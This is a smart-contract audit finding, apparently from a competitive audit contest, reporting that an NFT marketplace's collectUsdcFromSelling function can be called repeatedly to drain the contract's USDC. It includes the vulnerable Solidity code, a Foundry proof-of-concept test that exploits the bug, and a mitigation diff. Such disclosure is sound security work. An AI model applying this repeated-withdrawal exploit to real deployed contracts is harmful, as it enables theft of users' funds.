Root + Impact
Description
-
Under normal protocol flow, a seller calls collectUsdcFromSelling exactly once after their NFT is purchased to withdraw the sale proceeds minus fees, plus their returned collateral. Once collected, those funds should not be withdrawable again.
collectUsdcFromSelling neither zeroes out collateralForMinting[tokenId] nor sets any "already collected" flag after executing the transfer. As long as the caller satisfies onlySeller and !listing.isActive, the function can be called an unlimited number of times, draining amountToSeller (including collateral) from the contract on every invocation until the contract's entire USDC balance is exhausted.
https://github.com/CodeHawks-Contests/2026-03-NFT-dealers/blob/f34038b7b948d0902ef5ae99e9f1a4964bd3cdb5/src/NFTDealers.sol#L171
function collectUsdcFromSelling(uint256 _listingId)
external
onlySeller(_listingId)
{
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
@> uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
@> usdc.safeTransfer(msg.sender, amountToSeller);
}
Risk
Likelihood: High
-
Any whitelisted user who has completed at least one legitimate NFT sale can immediately invoke the function a second time with zero additional preconditions.
-
Attack cost is minimal — one mint and one buy are sufficient to arm the exploit, and subsequent drain calls can be batched in a single block via a malicious contract.
Impact: High
-
An attacker can withdraw every USDC token held by the contract, including other users' collateral and pending withdrawals, rendering the protocol insolvent.
-
All other sellers, pending claimants, and accrued protocol fees suffer permanent, unrecoverable loss.
Proof of Concept
Add code to 2026-03-NFT-dealers/test/NFTDealersTest.t.sol.Run forge test --match-test testPoC_C01_InfiniteCollect -vvvv
function testPoC_C01_InfiniteCollect() public revealed {
uint32 nftPrice = 1000e6;
uint256 lockAmt = nftDealers.lockAmount();
usdc.mint(address(nftDealers), 5000e6);
address victim = makeAddr("victim");
usdc.mint(victim, lockAmt);
vm.prank(owner);
nftDealers.whitelistWallet(victim);
vm.startPrank(victim);
usdc.approve(address(nftDealers), lockAmt);
nftDealers.mintNft();
vm.stopPrank();
vm.prank(owner);
nftDealers.whitelistWallet(userWithCash);
vm.startPrank(userWithCash);
usdc.approve(address(nftDealers), lockAmt);
nftDealers.mintNft();
uint256 userTokenId = 2;
nftDealers.list(userTokenId, nftPrice);
vm.stopPrank();
vm.startPrank(userWithEvenMoreCash);
usdc.approve(address(nftDealers), nftPrice);
nftDealers.buy(userTokenId);
vm.stopPrank();
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(userTokenId);
uint256 balanceAfterFirst = usdc.balanceOf(userWithCash);
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(userTokenId);
uint256 balanceAfterSecond = usdc.balanceOf(userWithCash);
assertGt(balanceAfterSecond, balanceAfterFirst,
"C-01: second collect succeeded - infinite drain confirmed");
}
Recommended Mitigation
Apply the Checks-Effects-Interactions (CEI) pattern: clear all relevant state before executing any external transfer. Introduce a price = 0 sentinel as the "already collected" guard so that re-entry and replay are both blocked.
function collectUsdcFromSelling(uint256 _listingId)
external
onlySeller(_listingId)
{
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(
+ collateralForMinting[listing.tokenId] > 0 || listing.price > 0,
+ "Already collected"
+ );
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+ // CEI: clear state before transferring funds
+ collateralForMinting[listing.tokenId] = 0;
+ s_listings[_listingId].price = 0;
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
